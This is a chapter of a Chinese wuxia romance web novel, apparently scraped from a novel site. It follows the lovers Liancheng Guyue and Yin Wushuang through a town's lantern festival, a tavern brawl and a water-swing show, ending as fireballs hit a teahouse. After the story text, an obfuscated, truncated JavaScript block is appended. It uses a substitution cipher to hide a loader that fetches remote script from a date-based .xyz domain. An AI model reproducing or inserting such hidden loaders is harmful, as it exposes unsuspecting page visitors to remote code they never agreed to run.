第189章-一辈子很长很长! (3)(2 / 2)

    前几日它被强行喂了满满一碗药糊,导致现在还嘴里发苦。

    吟落雪拍拍它的脑袋,一起回了无雪门。

    盛夏时节,东北天气还算凉爽,但越往南便越热,日头毒辣辣挂在天上,像是能将人都烤干一般。在这种天气,自然不会有人喜欢在街上瞎晃悠。百姓在吃过晌午饭后,大都会回家睡个午觉,若是家境殷实的人家,再在卧房摆两块冰降暑,也比外头要舒坦不少。

    但苏堤城最近却有些例外,晌午最热的时候反而最喧嚣,大街上人头攒动,比逢年赶集还要热闹。

    城门入口处,一队官兵正在挨个核查进出之人的长相,手里还拿着一幅画像比对。连城孤月远远看到后道,“应该是出了乱子,所以官府在抓人。”

    吟无霜坐在他身前,微微有些皱眉——这一路为了省事方便,他都是以轻纱蒙面,现在看城门口少说也聚集了上百人,他完全不想就这么敞着进去。

    若换做平时,其实两人大可等到晚上再潜进城。但现在天上日头实在太毒,附近又只有这一座城镇,于是连城孤月翻身下马,上前去看究竟。一问果不其然,最近城里不知从哪冒出来一个盗贼,据说本事极高,飞天遁地移形换影无所不能,已经有不少人家都遭了灾。

    “走吧。”回来之后,连城孤月重新上马,“不用拿下面纱。”

    “为何?”吟无霜问。

    “有银子好办事。”连城孤月在他耳边低声道,“方才告诉了守卫,我刚过门的娘子脸皮薄,请他们高抬贵手。”

    吟无霜脸色一僵,“你!”

    “况且那画上的盗贼极其魁梧,五官狰狞至极,连眉毛都连在一起。莫说你现在还有双眼睛在外头,就算整张脸都包起来,除非是瞎子,否则也没人会觉得你和他有关系。”在他发火之前,连城孤月及时转移话题。

    但吟门主显然不像沈小受那般好糊弄,于是直到进了城,还是闷着声不说话。

    连城孤月自知逗过了火,于是想着找家客栈先安顿下来,然后再顺毛哄。但是偏偏老天不配合,两人一连找了三家客栈,都说是客满,连一间房也匀不出来。

    “两位客官勿怪啊。”见连城孤月像是江湖中人,小二生怕他会一怒之下拆房,于是赶忙解释,“这三天城里有九曲灯阵,许多文人雅士都来凑趣,实在是找不出空房了。”

    连城孤月往柜台上放了一锭金子。

    小二:……

    “我们只要一间上房便可。”连城孤月道。

    “客官稍等,小的这就上去游说!”小二迅速将金子收进袖中,然后风风火火跑上楼,半晌后喜颠颠下来,“有了有了,有两位客人愿意拼在一起腾出一间客房,两位稍等,清扫完后马上便能入住。”

    “多谢。”连城孤月松了口气,带着吟无霜坐在桌边等。

    “两位应该不是来看灯阵的吧?”得了钱财,小二态度也殷勤了许多,一边倒茶一边道,“恰巧路过?”

    连城孤月点头,“我们要去南边访友,没料到正好遇到灯阵。”

    “怪不得,不过遇到了也是缘分。”小二笑道,“阵仗大着呢,既然来了就一定要看,离这客栈也不远,对街转弯就是河边,晚上更热闹。”想了想又小声叮嘱,“只是务必照看好钱财,最近这城里有个神偷,大家伙都防不胜防啊。”

    “什么时候冒出来的?”连城孤月问。

    “都快一个月了。”小二道,“官府天天在城门口堵,也没见抓到什么人,城里还是接二连三失窃,今儿个老板不在,就是因为昨夜家里遭了贼,听说不仅是金银首饰,连鸡鸭鱼肉也丢了不少。”

    连城孤月笑笑,“这贼倒是真不挑。”

    两人说话间,上头的房子已经清扫好。于是连城孤月便带着吟无霜上了楼,开门时恰好遇到两个书生打扮的人正在往过走,一个身材要略高一些,另外一个则要单薄许多——不过脾气也大了许多,在见着两人后轻嗤一声,满脸不高兴下了楼,脚步跺得震天响。

    另一人向两人歉意笑笑,而后便追了下去。连城孤月不解道,“你认识?”

    “自然不认识。”吟无霜坐在桌边。

    “那为何凶巴巴的。”连城孤月关上屋门。

    “你占了人家的房子,还能指着有好脸色?”吟无霜挑眉看他。

    连城孤月反应过来,失笑道,“看着满心不甘愿,也不知道小二是怎么劝的,居然也能说得动。”

    两人昨夜贪图凉爽一直在赶路,所以此时都有些困倦。片刻后小二送来沐浴热水,还送了一盘本地特产的野红梅,连城孤月随手吃了一个,然后皱眉,“好酸。”

    吟无霜走到屏风后,解开衣带准备沐浴。

    连城孤月心里顿时天人交战,眼睁睁看他将一件件衣服搭上屏风,随后便是细小的水声。

    这间客栈是城里顶好的,所以连屏风都是用上佳丝绢所制,上头描金绣银倒是其次,重点是透光。所以从连城孤月的角度看上去,恰好能看到一个朦胧剪影,想到那美好的身子,喉咙便不自觉有些发干。

    虽说两人也经常在温泉亲昵,但毕竟还是穿着里衣的,和沐浴截然不同。半晌之后,连城孤月心一横便想装进去,但无雪门主警惕性何其高,他人还未靠近,一枚白色玉石便已经飞了出来,重重嵌在门框上。

    连城孤月:……

    吟无霜靠在桶边,懒洋洋闭着眼睛,嘴角有些笑意。

    连城孤月心里无声叹气,老老实实坐回桌边,吃酸梅泻火。

    又过了一阵子,吟无霜终于从屏风后出来,只穿着单薄里衣,头发微微有些潮湿。

    连城孤月将人拉到怀里,低头结结实实亲了下去——既然没看到,那就总要在别的地方讨回来。吟无霜大概是由于泡澡泡得有些久,所以整个人也松散不少,窝在他怀里闭着眼睛,一副懒洋洋随便他的样子。

    连城孤月捏捏他的脸颊,“去睡吧,我擦个澡就来陪你。”

    “嗯。”吟无霜拿过一个酸梅吃,觉得味道还不错,于是将一整盘都端了起来,看架势是打算坐在床上慢慢吃。

    连城孤月道,“不嫌酸啊?”

    吟无霜摇头。

    觉得他样子挺招人,连城孤月笑出声,抱着人放到了床上,自己去屏风后擦澡。

    吃完酸梅后漱了漱口,吟无霜钻进被窝,发现自己完全清醒了。

    于是等连城孤月出来的时候,就见吟无霜已经穿戴整齐,正坐在桌边看自己。

    “怎么了?”连城孤月意外。

    “我出去逛逛。”吟无霜道,“你一个人去睡。”

    看着桌上空空如也的盘子,连城孤月哭笑不得,“罢了,我陪你一起出去。”早知道这样,就不该让他吃什么酸梅啊……

    天上日头依旧很烈,不过两人也算是沐浴歇息了一阵子,倒也不觉得像先前那般燥热。一起找了间城中最高的茶楼,要了个雅间喝茶赏景。

    从窗户看出去,恰好能见到远处的九曲苏堤河,水上停着无数小船,岸边杨柳依依人头攒动,很是热闹。

    “之前问了小二,据说是为了驱魔神。”连城孤月帮他倒了杯清茶,“最早只是烧香放河灯,近些年花样越来越多,不仅有赛诗会,还有水秋千和杂耍,每次都要持续个三五天,算是个大节日。”

    “怪不得。”吟无霜随手拿过一个点心吃,“水秋千是什么?”

    “水上戏的一种,也算是杂耍。”连城孤月道,“想不想去看?”

    吟无霜有些犹豫,他不是什么爱凑热闹的性子,向来是哪里清静往哪里躲。

    “就当是陪我去。”连城孤月握住他的手,“你看我平日里都被关在长白山,难得出来一趟。”

    吟无霜被逗笑,有些许阳光撒在身上,看上去很是温暖。

    若是被武林中其余人看到,只怕要惊掉下巴。

    毕竟传说中能冻死人的无雪门主,是很少在外人面前冰消雪融的啊……

    连城孤月俯身凑近,舌尖轻轻扫掉他嘴边的一点酥皮渣,目光宠溺又温柔。

    吟无霜猝不及防,反应过来之后,连耳朵都有些发烫。

    江南之地鱼米丰饶,人也要精明许多,因此河边有不少小商小贩,从各色吃食到笔墨纸砚一应俱全,老婆婆则是守着一个个竹篮,里头满满当当,装的都是酸红梅,若是有客人要买,则是装在小碗里头,撒上白糖递过去,可谓消暑上品。

    不过吟无霜显然对糖没什么兴趣,对连城孤月道,“回去时记得买一篮。”

    连城孤月:……

    一篮?!

    “这个是什么?”吟无霜蹲在小摊前,随手拿起一个拳头大小的布球,上头绣着不少吉祥花草,花花绿绿煞是喜庆。

    于是连城孤月就又意外了一下,他原本以为能将他拉到河边走走,就已经是很不容易,却万万没料到他竟然还会对这些小东西感兴趣。

    “回公子,这是祈福绣球。”小摊主指指河边,“那边有个祛灾石兽,只要能将绣球丢进石兽嘴里,来年便能有好运气。若是能接连投中三个,便能领取一个锦缎做的祛灾兽,接连投中十个,更能领取黄金十两啊。”

    “给我十个。”连城孤月蹲在他身边。

    “好嘞。”小摊主手脚麻溜取下来十个。

    “走。”连城孤月拉着吟无霜站起来,“我们去凑热闹。”

    石兽跟前围着不少百姓,显然都是冲着十两黄金去的,但真正能将绣球投进去的却寥寥无几。一来石兽在河中央,原本距离就远;二来河面上时不时就会吹大风,绣球又做得轻巧,经常是半路就被吹飞,能投进去一个便已经是难得,至于三个十个,就更是没可能了。

    连城孤月笑笑,这显然又是商人想出来赚钱的法子,不过即便如此,百姓还是对此趋之若鹜,毕竟买十个绣球也不算贵,若是真的走了好运,那可是十两黄金啊。

    “下一位。”负责维护石兽的管事一直咧着嘴,显然也是赚了银子心情好。

    吟无霜伸手。

    连城孤月将绣球递过去。

    “公子请站在这里。”管事见他身材单薄又蒙着面,只当又是个来赛诗的文人秀才,于是也没放在心上,引着他站在了高台上。

    吟无霜拿起一个绣球,随手一抛便丢了进去。

    “哇。”周围百姓发出惊叹声。毕竟一般人就算瞄准也要瞄许久,还没见过他这样的,看也不看就丢,居然还真的丢进去了。

    连城孤月好笑,这老板今日怕是要出大血。

    管事也是脸色一白,不过很快就恢复过来,笑呵呵道,“公子真是好手气啊。”

    吟无霜拿起第二个,又轻轻松松便丢了进去。

    百姓开始热烈鼓掌。

    管事:……

    吟无霜刚开始还觉得挺好玩,扔了三个就开始烦,于是将其余几个一起丢出手,绣球在河面划出一道七彩弧线,稳稳落在了石兽嘴中。

    连城孤月伸手,让他扶着跳了下来。

    “给钱!给钱!”百姓向来是喜欢凑热闹,于是开始起哄。

    管事虽说心里千不甘万不愿,但毕竟许诺在先,于是一脸哭丧打算去自认倒霉端金子,吟无霜却已经自己拎起旁边一只锦缎石兽,拉着连城孤月出了人群,打算去看看还有没有别的热闹可以凑。

    百姓顿时觉得很失望。

    管事松了一口气,腿一软险些坐在地上。

    “玩够了?”连城孤月问。

    “嗯。”吟无霜道,“不好玩。”

    连城孤月失笑,帮他擦掉额头一点汗珠。

    换做平时,又有谁会相信名震江湖的无雪门主,竟然会有这份闲心,站在河边跟百姓一道过节玩投掷。

    至于那只锦缎石兽,吟无霜拿了一阵也就腻了,但是又不想丢,于是连城孤月只好替他拿着,“走了大半天,找个地方坐一坐吧。”

    吟无霜点头,随他一起去了个画舫。

    和茶楼比起来,船上的雅间要小许多,不过也要凉快许多。吟无霜懒洋洋打了个呵欠,“困。”

    “先睡一阵子?”连城孤月道,“还有半个时辰就能吃晚饭了,这里的湖鱼宴很有名,我们吃完再回去。”

    “好。”吟无霜点头。

    连城孤月道,“我抱着你?”

    吟无霜拿过一边的布石兽,放在桌上趴着睡。

    连城孤月开始后悔,自己方才为什么没有直接将这玩意丢掉。

    河面上微风阵阵,人声很是嘈杂,不过即便是如此,吟无霜还是很快就睡了过去。连城孤月解下披风,轻轻将人裹住,动作无比轻柔。

    而在苏堤河边,几个前来凑热闹的江湖人士正在纳闷猜测,方才那个人到底是不是吟门主,看着有些像,但又总觉得哪里不对。

    最后得出的结论,那必须不是,最多只是长得像了些。

    毕竟传说中的无雪门主,不仅不屑于世事,而且连眼神都带着冰啊……

    夜色降临之际,河面上也亮起点点灯火。吟无霜睡醒之后心情很好,在看到面前的一盘酸梅之后,心情更好。

    “给你提神用的。”连城孤月道,“不要多吃,该吃饭了。”

    “等会去哪里?”吟无霜问。

    “就在旁边酒楼。”连城孤月道,“这里的河鱼天下一绝,我已经让画舫小二去帮忙定了位子。”

    “嗯。”吟无霜把锦缎石兽塞给他,“我们走。”

    连城孤月道,“还要带着它?”

    “为什么不带。”吟无霜一边往外走一边道,“挺软。”

    连城孤月看了看手上大张着嘴的石兽,默默拧了拧。

    真是不能更加幼稚。

    酒楼里早已人声鼎沸,两人坐下后没多久,小二便上了几道开胃小菜。吟无霜从窗户往外看,便见河面上灯火阑珊,排了少说也能有几百个河灯。

    “想不想去放一个?”连城孤月问。

    吟无霜摇头,“不想,看着也没什么意思。”

    “那我们便去另一头。”连城孤月道,“虽说水秋千明日才正式开始,不过今晚便会有人先练习,而且晚上更有看头。”

    “是吗?”吟无霜果然来了兴趣。

    连城孤月点头,喂给他一筷子笋丝。

    苏堤城的湖鱼极为肥美,几百年的时间下来,无论是大小酒楼,甚至是普通百姓家中,人人都有一手做鱼的绝技,而这座酒楼更是个中翘楚,不消片刻工夫,一道汤品三道鱼菜便已经热气腾腾摆上了桌,看上去很是惹人胃口。

    吟无霜低头喝了一口汤,觉得果真鲜美异常,于是拿起筷子认认真真吃饭,连城孤月在对面看得喜欢,刚想着要不要再帮他叫些素菜,底下却突然传来一阵嘈杂。

    “你瞎了眼是不是?连我们掌门也敢冲撞?”

    声音嚣张至极,显然又是个惹人讨厌的主。

    【连城孤月X吟无霜】4

    江湖之中似乎一直就有一条不成文的定律,那便是越有本事的人,行事也就越低调,像这样遇到点小事便闹个翻天覆地的,十有**都是半桶水,因此只能靠着外表唬人。不过即便是都知道这个理,但还是经常会有人咋咋呼呼,倒不是他们不想低调,而是原本就没什么本事,再一低调只会更没存在感,所以倒不如嚣张一些,起码还能吓住不懂行的,求个心头安慰过过干瘾。

    所以这晌楼上两人一听下头的动静,就知道来人一定高明不到哪里去。不过吟无霜向来就不是爱管闲事的性子,连城孤月久居长白山中,也不便插手中原武林之事,于是便都没多过问,只是掩上了门求个清静。

    但一座木头搭建的酒楼,自然无法完全将声响隔在外头。楼下吵闹声越来越大,甚至还开始问候对方祖宗,耳边污言秽语不断,吟无霜自然没什么心情再吃饭,“啪”一声放下了筷子,“走吧,回去。”

    见着他面前动了没几筷子的饭,连城孤月道,“在这等我。”

    “你去做什么?”吟无霜皱眉。

    但连城孤月已经出了门。

    先前两人来的时候,楼下大厅里满满当当坐满了食客,人声鼎沸很是热闹,现在却早已跑了个七七八八,生怕被无辜牵连。而正中央则是有两伙人在对骂,看上去一个比一个刺头。

    酒楼老板躲在柜台后战战兢兢,觉得自己真是倒了血霉,只盼着这伙人能闹一阵子就罢手,千万不要打起来。

    “明明就是你先挑衅我们青山派。”一个弟子大声道,“还不快些道歉!”

    “我们先挑衅?”另一方也不是善茬,狂妄道,“分明就是你家师兄伸出腿来,想要暗中使诈绊倒我们!被踩了也是活该,还敢要我们沙河帮道歉?”

    “一堆无名小卒,谁会有闲心暗害你们!”青山派的弟子哗啦啦拔出刀。

    “呸,你家掌门在江湖上连个名号都没有,怎还有脸说别人是无名小卒!”沙河帮的弟子显然也未将他们放在眼里。

    眼看着一场乱斗即将触发,老板欲哭无泪,刚想着要不要找个地方躲一躲,却听耳边有人冷冷道,“要打出去打。”

    虽然不知道说这话的人是谁,但老板在这一瞬间,是真的很想扑上去抱大腿。

    “你是谁啊?”连城孤月不算是江湖中人,那两伙弟子自然也就不会将其放在眼里,只当是来了个多管闲事的,因此都有些不耐烦。

    “再说一遍。”连城孤月面色微凉,“要打出去打。”

    其实按理来说,他身形高大神情冷峻,此番应该很有震慑力才是。但偏偏在这武林之中,有太多人都擅长演戏,不管功夫底子如何,起码看上去都能和“大侠”差不离,所以那两派弟子也不觉得有什么稀奇,甚至还威胁说要将他打出去。

    “快些滚出去!”一个沙河帮弟子拿刀指着他,“否则等会爷爷们打起来,你可别吓得尿了裤子。”

    一语既出,其余人都哄笑起来,那弟子心里颇有几分成就感,态度也便更加嚣张,刚想着要再逞一下威风,却已经整个人都飞了起来。

    其余弟子眼睁睁看他从空中划过一道弧线,最后重重跌落在了大门外,自然都吃了一惊,因为若是没看错,面前这个黑衣人方才压根什么都没做。

    武林中高手虽然不少,但却没几人能像他这般,动也不动便制敌于无形,于是瞬间都安静下来,讪讪站在原地,动也不敢动一下。

    而事实上,连城孤月方才也的确什么都没做——严格来讲是还没等他出手,便已经有人抢先了一步。

    抬头看向二楼,只来得及扫见白色衣角一闪而逝。

    “滚!”连城孤月也没心思再与这些人计较。

    那两拨弟子像是得了特赦令,登时都松了一大口气,连滚带爬出了客栈,搀起还躺在地上呻吟的同伴,一溜烟便消失在了街角。

    连城孤月转身回了二楼雅间,就见吟无霜正站在窗边,百无聊赖往下头看。

    “分明就说了要你在这里等。”连城孤月从身后抱住他,“我自然会解决干净。”

    吟无霜皱眉道,“太吵。”

    “沙河帮和青山派,你可曾听过?”连城孤月拉问。

    吟无霜摇头,“江湖中这种小门小派多如过江之鲫,就算听过也忘了。”

    桌上菜色已经冰凉,连城孤月原本是想着要重新叫一桌,但吟无霜已经拿起了一边的锦缎石兽,“走吧,回去。”

    “不吃饭了?”连城孤月道,“晚上会饿。”

    “不吃。”吟无霜拒绝。

    “那我们去河边。”连城孤月道,“说好要看水秋千。”这晌正是小吃最多的时候,就算不吃饭,也能哄着在夜市上吃些馄饨糖糕。

    “不去。”吟无霜依旧拒绝,显然被方才那伙人扫兴扫得很彻底。

    连城孤月:……

    吟无霜一脸“你到底回不回去不回去的话那我就先走了那你一个人慢慢去逛”之类的表情!

    连城孤月心里无声叹气,“好吧,我们回客栈。”

    酒楼老板感激方才连城孤月出手相助,还在吩咐厨子替他们加菜,突然就见两人一前一后走了下来,于是赶忙迎上前,“二位贵客要走?”

    “是。”连城孤月从怀中掏出一锭碎银,“不用找了。”

    “这可不行,该是我请两位才是。”老板连连摆手,又折回柜台取出一个篮子,“这都是城里的特产,小东西不值钱,还请勿要嫌弃才是。”

    连城孤月原本想推辞,但偏偏那篮子里有一小兜酸梅,于是便也收了下来,道谢后与吟无霜回了客栈,将酸梅交给小二清洗。

    “两位去逛集市了呀。”小二眼尖,看到篮子里的东西后便笑呵呵道,“都是本地的特产,不过那包点心要快些吃,过夜可就不好了。”

    “是吗?”连城孤月拿出来。

    “是啊,这是鲜花酥饼,过夜便会返潮,吃时配着落樱酒最好不过。”小二道,“二位慢用,我这就洗好酸梅送上来。”

    连城孤月点头,在小二离去后便拆开点心,见里头的酥饼小巧圆润,却不是一般的焦黄色,而是如雪般洁白,于是递过去一个,“吃吃看?”

    “不要。”吟无霜对点心向来没兴趣,一门心思等着吃酸梅。

    “就尝一口。”连城孤月举在他嘴边。

    吟无霜皱眉,敷衍张嘴。

    连城孤月看得好笑,倒也乐在其中,喂他吃完一个点心后,又从篮子里取出一坛酒,倒了浅浅两杯。

    酒味甘甜绵长,还有一股淡淡的花香,吟无霜吃完点心正口干,于是便多喝了几杯,先前觉得没什么,后头却有些晕。

    连城孤月原本想让他吃些酸梅解酒,不过后来想想,就这么醉了也挺好,反而能早些睡下休息,于是便要来热水帮他漱口擦脸,将人塞回了被窝。

    吟无霜没什么酒量,因此平时自律甚严,也不知道原来醉酒是一件如此难受的事。

    见他一直皱着眉头,连城孤月将人搂进怀中,取了些药油帮他揉太阳穴。

    冰冰凉凉的触感传来,头疼也缓解了不少,吟无霜无意识抓住他的衣袖,又往跟前凑了凑。

    连城孤月笑出声,低头亲亲那柔软的唇瓣,怜惜又宠溺。

    从初次见面时的冰冷微凉,到现在对自己的全然信任依赖,虽说中间着实经过了一些坎坷,不过所幸也最终得偿所愿。看着怀中人一脸不设防的模样,心里也跟着温暖如絮,只想就这么抱着他,直到天地终结也不放手。

    后半夜的时候,城中降了一场暴雨,将伏天燥热冲散不少,空气里满是青草泥土香,很是清新干净。

    大概是由于宿醉的关系,所以吟无霜清晨难得赖床,连城孤月对此倒是求之不得,陪在一边说情话,毛手毛脚越来越放肆。

    吟无霜在他面前向来习惯懒洋洋,能不动便绝对不会动,所以先前倒也没什么反应,窝在他怀中由着捏来捏去,舒服了还会眯眼睛。但问题连城孤月也不是柳下惠,如此美人在怀,自然不可避免有些躁动,于是翻身便将人压在了下头。

    “做什么?”吟无霜睁开眼睛。

    连城孤月与他贴近了些。

    吟无霜:……

    “帮帮我?”连城孤月咬住他的耳朵。

    吟无霜有些痒,皱眉道,“自己去解决。”

    “不。”连城孤月在他脖颈处吮吻,颇有几分耍赖要糖吃的意思。

    吟无霜被他压住蹭了半天,第一反应就是要不要一脚踹开,但还没来得及行动,连城孤月就堵住了他的双唇,舌尖滚烫纠缠间,撩动着每一根脆弱神经。于是最终还是勉强妥协,被他拉着手伸进被窝,却在接触到的刹那果断抽身,反悔道,“你自己来。”

    连城孤月:……

    这种事还有中途走人的?

    吟无霜闪身下床,速度快到如同惊鸿翩跹,然后还没等连城孤月有下一步行动,他便已经保持着“你敢过来我就敢将你踢出去”的表情,洗漱完毕出了门。

    ……

    连城少主大喇喇躺在床上,觉得有些头疼。

    雅间内,吟无霜喝完一壶花茶,又吃了两个素菜包子,才见着连城孤月进门,于是道,“怎么这么久?”

    “等到大婚当日,我保证比这次还要久。”大概是心里憋屈,所以连城孤月也放肆了不少,凑过去在他脸上重重亲了一下,泻火。

    吟无霜淡定道,“不要大婚了。”

    “那我便将你抢回去。”连城孤月揪揪他的鼻头,“总之这辈子别想跑。”

    吟无霜不置可否,慢悠悠拿着点心啃。

    “还去不去看水秋千?”连城孤月问,“今天是开场,据说会很热闹。”

    “不赶路了?”吟无霜问。

    “自然要赶,不过不差这一两天。”连城孤月道,“十里八乡有不少人特意来看,我们既然凑巧路过,也没有错过的道理。”

    “也好。”除了昨晚的闹剧外,吟无霜觉得河边似乎也挺有趣,于是便也点头答应。吃完早饭后,两人便绕过背街去了河边,打算再凑个热闹。

    与昨日相比,这里聚集的百姓似乎还要更多,尤其是水秋千跟前,更是密密麻麻人头攒动,莫说是两个大男人,就算是小娃娃,只怕也没法挤到前头。

    吟无霜也被这阵仗惊了一下,以往开武林大会时,虽说人也多,但无雪门作为四大门派之一,向来都会得到特殊对待,也就没见过其余小门派拥挤抢夺座位的场面,更别提是挤人堆。连城孤月四下看了看,见在不远处有一座茶楼,于是便拉着他的手走了过去。总归两人也只是来看个稀罕,并不想要参与,所以离得远一些倒也无妨。

    而茶楼老板也极有商业头脑,知道自己这处地方好,所以茶水价钱比往常涨了五倍还不止,对于连城孤月来说,自然是不会计较这些,但其余食客却未必,所以这晌,一个书生打扮的人正在柜台前,与老板据理力争,引得不少人侧目。

    “子归,莫要再纠结这些了。”身侧另一个男子道,“说好是来散心的。”

    “哼!”那书生被他强行拉到桌边,还是一脸不高兴。

    老板在心里摇摇头,暗自嘀咕了一声穷酸秀才,便继续低头打算盘,面前却有人放了一锭银子,于是心情瞬间好起来,眉开眼笑道,“客官请坐,我这就吩咐小二去泡新茶。”

    “银子不用找,将那边两个书生的茶水钱也顺便结了。”连城孤月道,“再要一盏冰镇酸梅汤。”

    “好嘞。”老板点头哈腰,亲自替两人擦了桌子。窗边的位置,往远处恰好能看到一个高高的木架,像是平时女儿家玩的秋千,不过要大上不少。一个青年男子正站在上头,秋千越飞越高,再又一次荡到最高点时,那男子竟借力冲了出去,然后在空中翻滚两圈,落入了下头的河里。

    “好!”围观百姓纷纷鼓掌,爆发出一阵热烈喝彩。

    吟无霜道,“这就是水秋千?”

    “嗯。”连城孤月将酸梅汤递给他,“这个还不算什么,遇到高手,花样要繁复得多。据说曾经有一个南边来的舞娘,能在空中以缎带为舞,为了能亲眼目睹,那年河边差点踩死人。”

    “所有人都能参加吗?”吟无霜又问。

    连城孤月点头,“自然。”说完之后又诧异,“你想去?”虽说按照常理来说不大可能,但想起昨天他连绣球也扔了,今天想去荡水秋千似乎也算正常。

    吟无霜皱眉,“我才不去。”

    连城孤月失笑,果然还是自己想太多。

    接着就听吟无霜道,“你去。”

    连城孤月:……

    “快些。”吟无霜赶人。

    “我为什么要去?”连城孤月哭笑不得,“就算是荡秋千赢了,也没有新的布老虎给你玩。”

    吟无霜道,“因为我想看。”

    所谓恋爱,就是这么一件没有道理的事情。

    于是堂堂连城山庄少主,只因为心上人的一句话,就跑去河边,和一群愣头青一起荡秋千了。

    但苦逼的是,秋千不是你想荡,想荡就能荡。即便是武林高手,也要先领号排队,连城孤月头疼无比,只有试着和管事商量,表示自己不要任何奖励,还可以出十倍的排号钱,看能不能插个队。

    管事在河边待了十几年,还是第一次见到有人如此热爱水秋千,不管付出多大代价也要荡一荡,于是深受感动,但感动归感动,却还是拒绝了他的要求,理由是担心大家伙会有意见,毕竟这么多人若是闹起来,可不是一件小事情。

    连城孤月心口憋闷,耐着性子道,“但此事对我很重要。”

    “为何?”管事不解。

    连城孤月道,“我心上人正在远处看。”

    “哦。”管事恍然大悟,“原来你是想要显摆显摆。”

    连城孤月哭笑不得。

    “若是不荡这秋千,是不是就不肯嫁给你了?”管事问。

    连城孤月默认。

    “你等等。”管事也是个热心肠的,于是掀开帘子朝外头吼,“大山啊!”

    “来了!”话音刚落,帘子外便传来一声应答,简直就是声如洪钟,就算是连城孤月,也被震到耳朵嗡嗡响。

    “刘叔。”一个黑高壮的汉子进来,“有事?”

    “来来。”管事道,“这位小哥要在心上人面前显摆,不求什么名次,你去问问大家,看能不能先插个队。”

    “好嘞!”汉子清了清嗓子,转身出了门。

    “你跟着他便好。”管事对连城孤月道,“若是大家都同意,我自然没意见。”

    连城孤月道过谢后,便跟着一起出了门,那汉子站在一处高台上,先是哐啷敲了一下铜锣,然后道,“大家安静!”只是吼了一嗓子,声音竟然压过了现场所有喧闹声,可见底气着实是足。

    见下头瞬间悄无声息,汉子很是满意,然后伸手一指连城孤月,继续大声道,”这位小哥着急娶媳妇,所以要荡水秋千显摆显摆,不求什么名次,能不能让他插个队?!”声音巨大,一直传到茶楼里,吟无霜手一抖,险些将茶杯丢下去。

    连城孤月开始后悔,自己方才为什么没有先易个容。

    百姓自然是大笑起哄,原本已经比赛了半天,气氛也有些紧张,这晌有了这个插插曲,倒是正好能放松一下,于是自然没人会有异议,纷纷让连城孤月争口气,好好施展一番本事,争取将未过门的小娘子给震住!

    事已至此,连城孤月便也只好破罐子破摔,只是还没等他站到秋千上,不远处却传来一阵惊呼。

    众人循声望去,就见两个巨大火球正滑过空中,直直扑向另一头。

    连城孤月脸色一变,纵身便朝着茶楼冲过去。火球在接触到茶楼的刹那便轰鸣爆炸,熊熊烈焰之中,一个白色身影冲天而起,惊鸿般飞向河边。

    众人还没反应过来是怎么回事,两道水柱便已经冲天而起,纷扬落向茶楼。

    吟无霜在水面急速掠过,右手凝聚内力,带起一道呼啸狂风,破天般在水中轰鸣炸开。百姓纷纷捂住脑袋,只觉身边像是下了场惊雷暴雨,等到平息之时,茶楼的火已经被浇灭,而方才水面上那个白色身影,也已经不见踪迹。

    “这……”百姓惊魂未定面面相觑,显然都不知道发生了什么事情。

    “子归!”茶楼外头,一个男子正在将身边的书生拉起来,“你没事吧?”

    “没事。”那书生虽说平时牙尖嘴利,但也总归是个读书人

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 